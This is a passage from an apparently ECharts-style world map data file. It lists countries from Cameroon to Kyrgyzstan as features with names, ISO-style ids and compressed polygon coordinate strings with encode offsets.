ʔƄB¸ξÝnjĄŜ̸ĶȹڨȗΎæ˸ǘÞŊúɸųٮOƸʖƢgʎĦžΫȞłΌŰϚǽƦ˥Ϙǯ̎ɄϾŒֺɏɠ஡Ο۷ɕेθܣ›ͧ"],encodeOffsets:[[-2924,5115]]}},{type:"Feature",id:"CMR",properties:{name:"Cameroon"},geometry:{type:"Polygon",coordinates:["@@Ľ°ӻŇԝŒЋÅ൅nŬڒ͟֊ϧƚǟϖɋŦXɶɎתЎ߸ʒRԄӮ͈bҾΉ־˲ĀΔȌͺžь҆ΊǞךDzȊŢѨɜ՚۾ٲ¬˨ĠƲͫͰ‚ˌʂ¶ͮ՟Ê֏‹֏ҜޅҷTʁÏϥČǻЅӸөμƛŠΏˆ׃ſɩх࡛ȫƳÝٳČΝåʡЈѭð̴̟џϨ˓œϥĘʏÓґڛȤڷɜ੗"],encodeOffsets:[[13390,2322]]}},{type:"Feature",id:"COD",properties:{name:"Democratic Republic of the Congo"},geometry:{type:"Polygon",coordinates:["@@»ঙͶŕˑ̗͓ɟ͍ѫǯϷ±ګț͍Oهʍɹ‹ԃŗÝýҟɄϡÂ৥ưޝċѧǘӣӤҹҒ੕ͥĒ૿ƙɣĵʇՙȊχƫষĻࡇɨƫט͝ɲƴìٟࣟR·Ҧ̳ΨٟŠȋѰԣ˅ڧŞ˫ϢՕüϽqµʾ́rϥºԳųιtȻû®ৄ˩̸ÕԬŬԒǝ͖eՊ৳Qò̢ѕG­ƣԵɁӧűȿҫŠˣş։å͏Ѱȗ˖ʋԌȷض៛\\̍ķʑh΋œşʼɊʀμƎɎ̪ǰɚđ˼͐ҜSÄʃ̼ƩӶՄӨШɆːƒ۔θࠆϬўքМĪˌt̰Ǝ̆«ӊŀݖǐԾʦ҈¸Ԕúה͜ѐҊ˔۔˷՘ؚ̳ĉظǏʦԖŘÞϦčनоͨDZ˖~ŴȲ̺ðلėբoˤĚԘۙϘķɤƖϲÅҶDzȦΫ݊֏"],encodeOffsets:[[31574,3594]]}},{type:"Feature",id:"COG",properties:{name:"Republic of the Congo"},geometry:{type:"Polygon",coordinates:["@@̿˾ʩƗͻγۏࢸٖҪ̓֌˾ɂ֦ĺäό҆Зݐ•ʴЈł֒ĝڀЉӺζ঄ȽǘسçɻѢÔξ੘ڸɛڜȣÔҒѰ޲ԆѼ֪Ɨդ±·ԓʥ҇ǏԽĿݕ¬Ӊƍ̅s̯ĩˋփЛϫѝηࠅ„ۓɅˏӧЧӵՃ̻ƪÃʄқT˻͏əĒ"],encodeOffsets:[[13308,-4895]]}},{type:"Feature",id:"COL",properties:{name:"Colombia"},geometry:{type:"Polygon",coordinates:["@@ΫȤЭ˨ʅƅ܉Ŝȱΰƽ_࠿Ӓŕʺ̼ڛтȢ̦иÊΞՆ͐Ѵ̳ȦDŽӦȏސǸɚƃ܄ͻ҄ņТ˔ÑǂʠțӶĺŬѢـהΌĚT˦ƺ܂ӖϸՊfäǪڂéڌъ͞ȊОК̖»ɚɛǍ˱գƕɇп͗ʋʓ̷Ĺ׵ɷӭѢÇņϭȄȁâ͹ij̵ˆǫȸéȨ̉ઊĄӦŃעܡͼĚ؂­ӐĪ̔ƟƱҍȇ˯ß׻ǜ֑ʆʟ†ȉэл̨ȃɠ̋ʰ࠹ǁĻǏӸɷˊ˥́࿕lZԿӰē…͏ǙĔҿƑK؏ώ̫ƀӓoηϙᘯп҂ʣpժࡤٟϾԍị̈ƤҧɝصŀӵࢤϳɐˍІ֑Њɡā"],encodeOffsets:[[-77182,-155]]}},{type:"Feature",id:"CRI",properties:{name:"Costa Rica"},geometry:{type:"Polygon",coordinates:["@@җȆǟǮĬƤ‰ȄɷȪͥǔ́ņÅʖəƮÄʑǗȩȓɸˑĊŗǞLʮŎˆʁŠȖnjŴňֆɝȖŊˊéƔǥʜÇȪDzɈҙ͖ͷЂΩ͗õLͷǪűűıƱëǟ©Ǖ"],encodeOffsets:[[-84956,8423]]}},{type:"Feature",id:"CUB",properties:{name:"Cuba"},geometry:{type:"Polygon",coordinates:["@@ܨÑڊW߄˹̭ͮ޺Ĩ̔ȡ܈ԳԺϛˢ\\ԆǟÕʁئ“ٌ΅ıȟ֑Ń֡¥׃âளą֜Ҷ΁ɔէÈ̃ʐȥӎӃ޵ɦʥǬભž̋ǐ̀ɀࠗ¨׿ѧΏ[ťȳеğΫĂѺʸǼ̤ϞȈіǎَĄȰĢ"],encodeOffsets:[[-84242,23746]]}},{type:"Feature",id:"-99",properties:{name:"Northern Cyprus"},geometry:{type:"Polygon",coordinates:["@@ÐJŨȮ؄Yކʢ֧ΧÔƿęˆLJÙűj¥iĎѾNjVɫïƿ¬"],encodeOffsets:[[33518,35984]]}},{type:"Feature",id:"CYP",properties:{name:"Cyprus"},geometry:{type:"Polygon",coordinates:["@@€ãࡱͿЩŊȟͶЎŒǀ«ɬðnjUÒ½j覎ŲiLjÚ̇"],encodeOffsets:[[34789,35900]]}},{type:"Feature",id:"CZE",properties:{name:"Czech Republic"},geometry:{type:"Polygon",coordinates:["@@ϯǂЁ©ٵʲ̏Ùҿ΅ر˔ӃΰѕȬėΠƧʠؒǾ̸Ⱦ׾ǎɂdžɜīϒĖЊ˓ؼñ¿ɳҘǧŲɒּĥĄʿز»ϮЯʡCŽƯȕ—ÅȑLJ¡wý˹ēϋbšȁ"],encodeOffsets:[[17368,49764]]}},{type:"Feature",id:"DEU",properties:{name:"Germany"},geometry:{type:"Polygon",coordinates:["@@d͗ࡔțS̗ࡢǂҾɰॊͧІˋȞёɹɣ̨̙Ⱥ҅ß́Έ՛ϑĕɛĬɁDž׽Ǎ̷ȽؑǽƨʟĘΟіȫӄί̑ϯ̟ŃŢշýƛʿǤЕ~׷ƭݍ–ţɛыɺʩ±࣑ʲǥǻ܍Nń״ьֺ௅ƸЇɘ´ςǗȐĨ֨ƗࢢԎ@Ɉ͂Ⱦޔƿ˴ǐDz۰°Ƽȃ֮вȓ̀ӈٌōՠŸ"],encodeOffsets:[[10161,56303]]}},{type:"Feature",id:"DJI",properties:{name:"Djibouti"},geometry:{type:"Polygon",coordinates:["@@ȤʹΑӏȩήɯ̱҇ȅƬȭÏҷb_ʮßɶ˴Ѐ̐ϊήñʪȴ"],encodeOffsets:[[44116,13005]]}},{type:"Feature",id:"DNK",properties:{name:"Denmark"},geometry:{type:"MultiPolygon",coordinates:[["@@ԋڹ࢟ӄŝΒ௼˨ˎу"],["@@ȵ̓ʡĞ؁؁ɮХ՟ŷًŎͽҲ}࡬Ɣɪʌʦ݌À̐ɴڮʂƒѝʟ˙ĶɽҘŵ"]],encodeOffsets:[[[12995,56945]],[[11175,57814]]]}},{type:"Feature",id:"DOM",properties:{name:"Dominican Republic"},geometry:{type:"Polygon",coordinates:["@@ŀƞپIӾɏɜtƴ̕Ҡhʡϐ‰Ю̷̯ͿЍǼϫ•ˡ¢ƱƵ͑½ŷȲˣťͳֻɏƆ§ʎjɬɍʦȲƚÞ͒óҜ"],encodeOffsets:[[-73433,20188]]}},{type:"Feature",id:"DZA",properties:{name:"Algeria"},geometry:{type:"Polygon",coordinates:["@@ᮩཽᝩ࿷இϑटćU՘ϵƌԹʊȧЀᬻᆴᬻᆴṕᎠfnj@ÊQ঺ബب࠼Ÿێɦ͎тচͪ˜جӢòϞ̶સƚƸ͜ɛDz̃ࢲ¹Ԟ́ՠ߰ҠࣦƢՌΎ߶ʰ෎Ƭർæшůߊͨ࣌P΀ȝֺ¾ǟћƄߟȡۙԭҵôمۊԃRȯԮ͹Ϊຝ˖ݏ°ϵƧۇÔϥŃҟòՇͫΗӺؓŽέ̘ҵϼƸڒϷςՃ"],encodeOffsets:[[12288,24035]]}},{type:"Feature",id:"ECU",properties:{name:"Ecuador"},geometry:{type:"Polygon",coordinates:["@@҂غǻξ͍ϵԉςǞʀƙބ̎ŴƺԼ͆զÍ΄ҢǸ׀Ͱࡀӑƾ`Ȳί܊śʆƆЮ˧άȣŞٓʽճࣷ࢟য়ͧԥܵǃ֣Ӆ΋ΙъͻĞ΍áw̮ʈȨıΔ"],encodeOffsets:[[-82229,-3486]]}},{type:"Feature",id:"EGY",properties:{name:"Egypt"},geometry:{type:"Polygon",coordinates:["@@ɽͷǹىɫѩȝƥ˩˔ϛϒ׵ஸđùΐࢯԪࡋٌವ̴ҙ˒ӃݮछǗƣ‚ճ঒ݭƨǣΏ@Ὁ@⁩@@ᶶ@Ჴʥڲɐ԰Żά̤Ж૦b߲ɝ࠲ʛϴſ٨ˊΌʊݎêװŃɮеȜ˜ڨȣټ³аɄւ෽"],encodeOffsets:[[35761,30210]]}},{type:"Feature",id:"ERI",properties:{name:"Eritrea"},geometry:{type:"Polygon",coordinates:["@@˻˖ΉӰϋ˒ɏܷ̄ͶֻXȭǬӯȡԛϢʽط঑ǬęʹβఀĊ֒ˆʴؤƐьӒӦঃɴޗҢУବߏҲӍҖӝˀ˿аʧʩȳέò"],encodeOffsets:[[43368,12844]]}},{type:"Feature",id:"ESP",properties:{name:"Spain"},geometry:{type:"Polygon",coordinates:["@@¦״΃θஒ؆ਊƱ૾NࣂƝۦªമƒͰ͛໺ϡ̨ǺीϝআŊ®ӥߓ֓ઁǯõ˱ԩү͕ہ͞ӑӟϑǹճىǗש٥੧_ߟhՃ͍̓ͅЩê̵˴ʃӚ޷žé˦̶̀Śɬ̃ʢɶրͳԌδè’ЈƎŬZپϲɪɻфөˆƝŁӹCɁЬ΃ū̥ɇ"],encodeOffsets:[[-9251,42886]]}},{type:"Feature",id:"EST",properties:{name:"Estonia"},geometry:{type:"Polygon",coordinates:["@@ĮӸ̱ŁՓ̘ñӘਫ਼ɼ੔Ũ࣮Ƒࢂ|Ŵƣׯӝʞ޵ΫˉۙDܡ̸ρļ܏Ʃ"],encodeOffsets:[[24897,59181]]}},{type:"Feature",id:"ETH",properties:{name:"Ethiopia"},geometry:{type:"Polygon",coordinates:["@@ԜϡӰȢȮǫּWܸ͵ɐ̃όˑΊӯ˼˕̏ω˳Ͽàɵ`ʭҸaȮÐȆƫǽ̴̕ҧ̴Й̛͎ᩨঽۺNᛛᡃફ™ݟףաeɯ˅ַB͹˴ލΙʝΓ֕àȃĬȟwˇT੟܌ב@˹ˢ@ҾѧƘӻࣴϥȚƧʹэЦԧÒ˸ӐҀrŲʰ[ݲʞࢠЊɾĎ΄ήٜԔи΀ࠠƆܠ঒ǫʾظ"],encodeOffsets:[[38816,15319]]}},{type:"Feature",id:"FIN",properties:{name:"Finland"},geometry:{type:"Polygon",coordinates:["@@ūיಀ֓ޡى঎ख़֡ܛݴس΅յఘֻ́ѓޭӟᅡੵໃá๑̯ൃǯӡҞ߿ˠȈࠢСݶАӪނՆ኎࣮֖Ǭē΢ୟЈ˳͜uಒ಻ֲ૩ЪԊɞतѻલ¦ࣘȭߠϊЬ؞ಬ˶઄ͯΡכ"],encodeOffsets:[[29279,70723]]}},{type:"Feature",id:"FJI",properties:{name:"Fiji"},geometry:{type:"MultiPolygon",coordinates:[["@@̂ʍƓѭԳŗҩļąτ͖̀ϤĻȼƐ"],["@@՛ǯŅ̼оǤˊ°Ӱˀ@ЧՕȷ"],["@@é­@ШǨžĽЗ"]],encodeOffsets:[[[182655,-17756]],[[183669,-17204]],[[-184235,-16897]]]}},{type:"Feature",id:"FLK",properties:{name:"Falkland Islands"},geometry:{type:"Polygon",coordinates:["@@৘Ԍ܎ȿԌʹڦϙʥ̋ଋʥϙ̌܋ϙпϚ"],encodeOffsets:[[-62668,-53094]]}},{type:"Feature",id:"FRA",properties:{name:"France"},geometry:{type:"MultiPolygon",coordinates:[["@@ˣ٭ϡǠș֢ǜ̺ը͎Ɯܛ"],["@@הЅќà݀ϥȊñʎjЈɗெƷыֹŃ׳ɱƝϣü‚ɇؙҽ]ϟВƀ˾ρ“ʁʚ̿̅ʯɐٱҖŃĩηݿӅစɬ௧˗ĩԑঅʼnिϞ̧ǹ໹Ϣͯ͜ѢԎdžူࢁࢤإю౹͒čؖઠǾථɏˇॎߌέዠپʨێܾǞŪ̑ϸ_ϸ͵"]],encodeOffsets:[[[9790,43165]],[[3675,51589]]]}},{type:"Feature",id:"GAB",properties:{name:"Gabon"},geometry:{type:"Polygon",coordinates:["@@ࡹࡔ։ۚԙࢄ‚˨ǾˎȲؔǜخ˴¶௢SOৠЌÆԞőӼňľ¯ÓνɼѡشèȾǗεঃЊӹĞٿŁ֑ʳЇݏ–҅Иãϋ֥Ĺ˽Ɂ̈́֋ٕҩ"],encodeOffsets:[[11361,-4074]]}},{type:"Feature",id:"GBR",properties:{name:"United Kingdom"},geometry:{type:"MultiPolygon",coordinates:[["@@҉ֽًǦԱ[ǦҊǥ҈۴–ࣔԳ"],["@@࣋ࣧࡦŘऄIɕۅݯݩࢄÃäĕݠ঱ֺƇԬढ़ʈͧৰDžķ՝ѓʗͲѣݱѯ૳Rෝɱϻǒ։ϿޥĪם͍ҁǘ௼ࢨݪǺOBಽƔʃͰ࢜ʺҡҐdžռఢ÷D@ŮӤ֛Ԯ_\\৵ƨȧɬ̨ϒˡɴҍЇ·߶щє̨ࢆٶھڤá০ì"]],encodeOffsets:[[[-5797,55864]],[[-3077,60043]]]}},{type:"Feature",id:"GEO",properties:{name:"Georgia"},geometry:{type:"Polygon",coordinates:["@@Ųάȿִӟ̲ҭĬ̯ʴĺIJ܄ƝఆƋଦЕƦƻԚƂ޶ǭʴ·Նșɓřвғŗıҏºصʎȵƍଢ଼ſ߳Юࣅ¡"],encodeOffsets:[[42552,42533]]}},{type:"Feature",id:"GHA",properties:{name:"Ghana"},geometry:{type:"Polygon",coordinates:["@@೉ӯҳ˽ݳʑݡʆœͨηܤɖैΠ۸ɟ஢ŗنrӊฤ¢ϊÕ˔ƊϴáÕʿΖџC؍Ąڍɂ̫ȅݳäйɢՓȈ̍"],encodeOffsets:[[1086,6072]]}},{type:"Feature",id:"GIN",properties:{name:"Guinea"},geometry:{type:"Polygon",coordinates:["@@ʃtǡͷʁJǏǴÈͶΗԨɕħǵmɳ³V̮Ƈɘ‚ʔǻΜɹ̜ڥDțǁɵoƝǷīɹ҅σρӼ͛͢ɋŊȿǖħϊūȂʓƐώЦʮeɖƘȄDƄŎï˨ĢĖd˶МU؀ȱȄlÚĤҜáŨ´¶̭ƆBɖŒƔƒɸɇάãɲǺ˖ŒȬŠǚuȈȁĴɳΆΙǣɏ˙ǴĊŀį«ʡʲʍǗÝå˷Ș΍Ⱥڧ̷ĵăśÞNj·νƃA"],encodeOffsets:[[-8641,7871]]}},{type:"Feature",id:"GMB",properties:{name:"Gambia"},geometry:{type:"Polygon",coordinates:["@@ņόࣶzȎȦˊ`ͨȷʼIˢƚǞʏεȋιdέǰ̷ȗƭQȫŝއl"],encodeOffsets:[[-17245,13468]]}},{type:"Feature",id:"GNB",properties:{name:"Guinea Bissau"},geometry:{type:"Polygon",coordinates:["@@҅ΘΝÈȕʀLŸʯǴÁǶѼƌ˦ɦĨ༈•c˵ġĕð˧ƃōȃCɕƗʭfύХ"],encodeOffsets:[[-15493,11306]]}},{type:"Feature",id:"GNQ",properties:{name:"Equatorial Guinea"},geometry:{type:"Polygon",coordinates:["@@ƿŴ़̀െmPয়௡T˳µ"],encodeOffsets:[[9721,1035]]}},{type:"Feature",id:"GRC",properties:{name:"Greece"},geometry:{type:"MultiPolygon",coordinates:[["@@Ҡ˱ٺ¶شÑqƣҜĶĿʛ௃íTƒਁǎƺΦ"],["@@ʹՁȥĥԟ|ѫĀৱɓ׌ҿяƋҳAѻўƿȁȊԅрЁ̓ǿҴϯжʑ^ӅޥɠʜѕՓĕ͈ݏ֏Yۍμ̿ڦƧ֒͝ϮљӐÉʆϸТ¼˚˘Ũjɚռö͌ȀҖgƒƦdž„ت{ڨɲע̉ކĀVмЦɝ"]],encodeOffsets:[[[24269,36562]],[[27243,42560]]]}},{type:"Feature",id:"GRL",properties:{name:"Greenland"},geometry:{type:"Polygon",coordinates:["@@ᬜԆ᱒›ੴ̴ᲈĄ䀦Ŀ㉊ڗ༅͕ộ™⭏ćшƫᲐĠᡚ́࿈ʴۦ̝इӧᒞ̺✘͚ᠼNjҾΫ⃝ױӃȕ᧑ơወ¡ছؕگկ€ध৚շಽ“൧ˇ༂ѽȢ܋࣍ýઞܡህÑঈ΁˟̑இŽ୥E੆֩\\Ϗပΐћɣଌȿ઼ԣ͈ڱກlj٫͖ਣӘ˼֭উѵᕖ•୆¯ᖯܵᗿڏឧ́ओIࢅ͓ୟࢱᅵכׅ“૧ȷ஽ȝܛԱ[כыտോڧͺٿϗ۝љࠍஅ½఍ۈဿLࠁҢ֕ࠐฝਲэոŗݮ୓ޢ̢ئ֗̒ࠪচొ̺ͨΘǬڀॡ̕қůݯţਏ˜Éְ͢҂ެ\\႔ɟ෿Քݩ˾࠷ş۫ȼम޴ԝ̺ڗ׈ৡࢼ੯͚XΚᖷӮᄻÖᖟ‘Ꮕ×ইˌวՈᕂ˄ၚ¬≹ɖ቉΄Ś͜ẊИᶎИ̪͘ᗗ̠ܺͰ᯲ז௢ĚΓϘጲɜᣚƂᣖRࣺʽᕺҨፘ̽୺áპ˙ፅҐŘή"],encodeOffsets:[[-47886,84612]]}},{type:"Feature",id:"GTM",properties:{name:"Guatemala"},geometry:{type:"Polygon",coordinates:["@@ћƦԻfϩǖҍΌrʖĮȠšƾКۆ઄Ft˸Ƌ¾ġǺ̵Ț̹ˬϜDBӂ޸BަUOڗßॅʤ@˚ƱòŰʘŃϥ͍ЉɻÏljâǑǧɇȟ½¬ıƿġ˽Ƀ}ŭ"],encodeOffsets:[[-92257,14065]]}},{type:"Feature",id:"GUF",properties:{name:"French Guiana"},geometry:{type:"Polygon",coordinates:["@@͉͑ГÑŗʀȉ–ʹɩνǦɈΪòϤƢή͛ӸáֺѪܠ˸ğؤȥࢸۿƔ·ӻޑʳأ"],encodeOffsets:[[-53817,2565]]}},{type:"Feature",id:"GUY",properties:{name:"Guyana"},geometry:{type:"Polygon",coordinates:["@@ր̯Դյzџ̈́o҈Чͪ̇Ƈݱԛɕ°ȣƹџϊ؏ːAŎӃԢܳȱ‰ҫî˙ɡϟƥ˅—ġǑЭ¦ԫЀÓϴɋьƆܐɸ̐ȕϸ˿ŶŊτțȘѩ™ْ֩ɬɲiϲԬƊȾƾ˽̸ô̬ږӲ"],encodeOffsets:[[-61192,8568]]}},{type:"Feature",id:"HND",properties:{name:"Honduras"},geometry:{type:"Polygon",coordinates:["@@ơˀʭòÐʹŗĞǣÒσij‹ŔʩƈǷǚʛìǨɈáǒÐNJЊɼϦ͎ĔȂƨʊ\\þ垦ϸùϲv˒ĢİĦˎ©ȪÉɘnǖòϨśƄkʲƿʐį̏Źɜɳ˽jśŕ̇ŋɃAȅŃǙœƛźĕ{ŇȩăRaǥ̉ɳƹıđĽʛǞǹɣǫPȟqlЭūQĿȓʽ“"],encodeOffsets:[[-89412,13297]]}},{type:"Feature",id:"HRV",properties:{name:"Croatia"},geometry:{type:"Polygon",coordinates:["@@Ȳ͗ˊʇ͓̓ϝȆׇ[ܟƔϽmǻǧ̝ȖǫΑЪϽǼʹϮ̽͌ȃ͆Ηݔ͇ġƛ߃̶ӣ̢ޑʠ۹ؤǞØϥΞe˲եƄʱγʝˮn̆Šbג…Ƹƚ˸ƍͤgGɼ̈ĒĈͺڞɠˊĻؼέۜlj̼Ų"],encodeOffsets:[[19282,47011]]}},{type:"Feature",id:"HTI",properties:{name:"Haiti"},geometry:{type:"Polygon",coordinates:["@@Ԣ™ܰƁôқÝ͑ȱƙɎʥiɫ֏ƜЅÍԡÔϽƿ҉ʾö˔ޜśيã̢ȈϧθP͎ՋžȌɶ"],encodeOffsets:[[-74946,20394]]}},{type:"Feature",id:"HUN",properties:{name:"Hungary"},geometry:{type:"Polygon",coordinates:["@@˨ըǍǼӂDÜ΄ђɋ̲ğ۸ļäǚͮ~ЦžĜÃЂŀȠȢˠ¼࣒ʭǴĒҲɭÎɣԡǭЉ֫ԕ֭کǁԽš١ə̻űۛNJػήˉļǍ˴ƗV"],encodeOffsets:[[16592,47977]]}},{type:"Feature",id:"IDN",properties:{name:"Indonesia"},geometry:{type:"MultiPolygon",coordinates:[["@@Λe૝ך޴ǒѴʭ̎ʭ»ɩ"],["@@ܙȁijĶø˸ΰԢࠨͬĐǓfʫշع"],["@@̢ɣԲèȼΥॿǛ׉őҍP̀ӚҤPɤ̖"],["@@ūұ౅ʅૣľE̬ښǪՂʥ֔Üݬ̮"],["@@ྔċȂΌ༘З̪կీƵਐӿय़͋ऍ͸ݻwࢍØ޻ưঅ͎؝ČΓŁ໕ΌƣΰޑØּߤ৶·ڴ͡ΒÛŘ̗"],["@@ѝֱćنƬ̠Ǭ˴ȒʗCЏ"],["@@̿˥ׅƸǏΰࡘ¢Ⱦˣ"],["@@̨ٝۿΌۯìӃÅׇˆȦҦਠ”ऎʕ"],["@@ɼയ࢈ԉ۰ࢼ८ԔݜBܘ̉خ̛ࣘLJbᩑbᩑݟې࡟ǜȷʇ੡}ΦۂՈɺɕࣲЕ۸࿃܆ۗêృަʛУ͑óȏ̮GκٛЮ̢ࣞ״gëɠ௵DͩԄݥƺΡдଈȰњ˜ഘ·Ƃ̹"],["@@ڭ࠭كlj߱ǐඓ¥ܽŧţٍݪݛҒϠ༪˸çϯλŪιӯ͙݉ߒ੿Ƶ˿ݲॻQտ҅ʙ̐͡Мی࠙͗ȻɶŊ͖؅ӲØࠌ֕ʭîও”றՓũίʚʌޜŽ߸ΛPʻֺΎվŤښф౎ǮΎ܎ذپʛ੖śॴ–ࠨ؎Ʀȉ"],["@@©ܽџĈŷԝΌѷɽĵ͹Ւʟ੺ǚڤ˨̨ÔҝӸóĀ΃"],["@@सާহį˫ֵšݿַ߱u࠷͕౻ŭ̚ॕϙͫԤ׳´лːৃ̟̩Оս¯ۗĬŹૺнɺЕܘŝ݀ĮުԂ֐Ɩָ֗ӅըǠ՜ÑӪъЖôߒɽۆǶњୠ͔̈̆क़ॲ@ܰƙӍݷآߓơϭ"],["@@छkۻ۰અۊέԚٍۄзؾٕ୴۪݅ʙܠ̳ڀݵՊѭܘمҺࢗऒóђզ‘ಢNjݔࠓٮ֫ҪΓߔࣙࡢ_ۺֹӠ۳٘ϥͳۉӖ̞̅sƜו̊ҵؠõФՏɁ਱‘ಟ"]],encodeOffsets:[[[123613,-10485]],[[127423,-10383]],[[120730,-8289]],[[125854,-8288]],[[111231,-6940]],[[137959,-6363]],[[130304,-3542]],[[133603,-3168]],[[137363,-1179]],[[128247,1454]],[[131777,1160]],[[120705,1872]],[[108358,-5992]]]}},{type:"Feature",id:"IND",properties:{name:"India"},geometry:{type:"Polygon",coordinates:["@@ࣚটďۅͮїѕ׽ŒɾएࠜՑ୞חՑϟ͛޻ࠀͅߊЭરһସʼnӜёٮāৠȝ۪bĪͪŋՖÞβԠǮìڋlǙކ͉Ոƀ܀Çۈ|ÐԪ΁ˎڴŀވشॸ՘۶ȷ״ΞЀԹ˳Λ࣠űÜ͇̍Ʒèԫ׷Ʋછׅ~ӓҩ۵§ХϏۗځȒࢇȏ˹ĚΣгȥѵ೰ɵEƍ՝ҡѦʸӎϖ¶ϰ܆ӝƜީ]ߝŚóאБ¤ڕζ֭̓؆ѻԿ̻ȅ̩Ԭɣƛԑ̆كžەţֱ̫Zਛǩ´ك҃ӻ௃֡ळ঩كՋ࠷ջCϭлȹݳ̝Ͻ«ʥٙǪધ®ۡΣߙI෗ѣ¡ϣٙʰˣދʃ˱֯͵ʍߑ޸ϳ୴͑ࡒ̍Јѿ߰ȻੂơՀޅ଼Α࿀ʣ੾HৰǍ޾௣ԉףĶ઱৲И̤ʝͤড܊֖֔ᇜCǗܞҽюĩ٨ջϘऒࢢঊÙ࢞ࢢՄ࡞ࠄࡈ_״ܒӠڳд֪݂̇̕Ьβ౤ȱपŰߺ۸"],encodeOffsets:[[79706,36346]]}},{type:"Feature",id:"IRL",properties:{name:"Ireland"},geometry:{type:"Polygon",coordinates:["@@ƒ׷ًݣ๯ӹ஑Ŷڼ࢚ѭࡢତڄٌϼǦ҇ǥ҉Բ\\ٌǥ"],encodeOffsets:[[-6346,55161]]}},{type:"Feature",id:"IRN",properties:{name:"Iran"},geometry:{type:"Polygon",coordinates:["@@݈njװӔ֚{τƾװýघэڤğ।ݓظ‰òۻ΁਷ɱؑκŭΫҡˠڡàՓِƙæեݿݿжѵ͸ԓߦυx݉ДƋêϯ௉ѡ̓উཌྷʪࣷȖेŊΧਐЕƪ٣ƭࡑНਇ˦ࡑ٦߳ʈ֗ߘا૪ҍƋՕ˦̻͝ҭѴS҂ˍ@Ɛ،ѝٔ਍Ң׉ߜȜپц̂ÙӬտʨխ৊ҟڨǐʼʿ६ּʈƄͅъϯ־ő̤~রئ̀Øʞʙ́гԼѱȾ¦ˈإߖǩ׎у஠ƟಾɞĄȞ"],encodeOffsets:[[55216,38092]]}},{type:"Feature",id:"IRQ",properties:{name:"Iraq"},geometry:{type:"Polygon",coordinates:["@@րʧÚӫх́țٽ׊ߛ਎ҡўٓƏ؋ˎ@TҁҮѳӿ¤֟ê؝߭༟äᛍၖఫךৡɪ͹৾ᇶ࢔͆৬āؘҢȺјԾΰž঎Ň̐ɉЖƚծ৉"],encodeOffsets:[[46511,36842]]}},{type:"Feature",id:"ISL",properties:{name:"Iceland"},geometry:{type:"Polygon",coordinates:["@@șիॊֵથٙᝓֹܣƵૉŮᚑˈࠠψᆧЪ๪ǎ—ʘᄋȜ֨նౠŰಸ֭౨Ҝ੒ʃൌ҄ආÑ"],encodeOffsets:[[-14856,68051]]}},{type:"Feature",id:"ISR",properties:{name:"Israel"},geometry:{type:"Polygon",coordinates:["@@ƥ˅̣Ŝǫ֓ɂĥɋř—ɛЄŖp͛нഉց෾ʔˢ˶ɞϼǠيŤɆzVˬCþƦɤ\\`·ŕŵhM"],encodeOffsets:[[36578,33495]]}},{type:"Feature",id:"ITA",properties:{name:"Italy"},geometry:{type:"MultiPolygon",coordinates:[["@@̟ڋŲʹǭѝٝ̈́ёĞ୩ѐŞќজûࡪĠْò"],["@@Ԍ׭ş૕ϣÂ΁˫͇ɞ‘২ȓӒҨ¥рʼ"],["@@ரɏĝЯȬΧڝŪہ̗²зĻʇˠё߀чцۛदڱچLȲȃɽǗݪ̥ؠʩܜѫĔƿƽ̛үϼܳƐΝի؈̷ıѫΗ¹҅ܛΕÝHʲǢҊǼǶ͝ӤʱшΑŀʛδգƴεͶثÆٿϜޑմ֯ӜʿࠪйĮہˤϯŕӝϵΓÕĪθҕńɏٲ̆ʰʙ̀”ʂβǵМ¢Ҽ˶ƢƃА€ǼͺتĿψƚâΆԘšĮdžࠨƤȊ̉"]],encodeOffsets:[[[15893,39149]],[[9432,42200]],[[12674,47890]]]}},{type:"Feature",id:"JAM",properties:{name:"Jamaica"},geometry:{type:"Polygon",coordinates:["@@֢÷ҀȫƔɯןeʭƗҹƊӑ̪ĶȔΜÎȒƒ"],encodeOffsets:[[-79431,18935]]}},{type:"Feature",id:"JOR",properties:{name:"Jordan"},geometry:{type:"Polygon",coordinates:["@@Ʀˆपͫ࿪ࣆͺ৽Džų၅у࠸࠿ˣƛƑ˭ٙřȩ̡εʵधƆƒŨоഊo͜Ůʚ@Ԥ"],encodeOffsets:[[36399,33172]]}},{type:"Feature",id:"JPN",properties:{name:"Japan"},geometry:{type:"MultiPolygon",coordinates:[["@@ņ˽ҿԕΉːљțɝӭշʈRЊҬԆӌīΊΜؠǹ"],["@@́ڡƤсѩף੹Ѓ๏½ணॡ͔֡“غษȃষЃঝe࡞أ֗෗իΝН͜ȶݶՏʒͿ־ߐʶѲՈࡌѢ؞ָာʤ࣎ǣࢠ๺֔Б௾ࡀӌ͜ՈਈƟा΢ՎࣀƸҞୗ}ڻޥࡍbࢁ"],["@@נǵרΤȈहఝɯ݁࠱೓ָқँण]ř࠴д٨࣌²ʖ୐ʜټন࢓٤˯"]],encodeOffsets:[[[137870,34969]],[[144360,38034]],[[147365,45235]]]}},{type:"Feature",id:"KAZ",properties:{name:"Kazakhstan"},geometry:{type:"Polygon",coordinates:["@@ӕƹ્דο׹̹KɱЊ੫‚ǡێХNÚࡆ৓ؘ෷ßডũߣݶۋ͆ಥ׼ƽðᓗӹᶽљ£יچ֧ɼॕǩχ˧±ȲȶΖDž̊অ˺ϛݮҩɆ…˜ࠊāŽؘ܎ƎܼűƲࠎƭԲ࠿£܍ȴঃσ޵ǭяƌĐўՙ֘دw܉֬ӞِʕǢڢऊࡺӣŀؘჄࣴಾtᇢ׉঺ͻࢼΠ೰j੺ѥʔʠ୼—ɂЊഷ׀߮Цƿɮ߮ɔ؅ֺϬ˼Ḯ̈ШȺᑆ̴ݰΒຢǹ˄ࢉ࢚Ȳઆ˹éҝ߮´ᑌߎ̭ˁ੶٭ሠᒑ҄ѰୄӛீɎҪƯКӟטNjΨΥ઎ŒѾԣٕ֓ۥÿ¡ࡅұϝဟˢ؅ຑїȇဗͱݲลֻɓäӏԭŬу̠ఝĖඃx̧ġ஥ΞӉǧŽӹ൩̂փşȉρ"],encodeOffsets:[[72666,43281]]}},{type:"Feature",id:"KEN",properties:{name:"Kenya"},geometry:{type:"Polygon",coordinates:["@@ӾۙיͱȹΕ̿Õšףˑ͹Ǐ֑ͷ˥஻ࡀËӤᵁႌƙĢSࢺʊ;а֌̨ؔσ॰įтЉ׎ԬԈ֬ֆѨƗ@ҽ˺ˡג@੠܋ˈSȠxȄī֖ßʞΔގΚͺ˳ָAܽ॑Xᵣ"],encodeOffsets:[[41977,-878]]}},{type:"Feature",id:"KGZ",properties:{name:"Kyrgyzstan"},geometry:{type:"Polygon",coordinates:["@@ȊςքŠ൪́žӺӊǨ஦Ν̨Ģ඄wఞĕф̟Ԯūşȏ೛ғ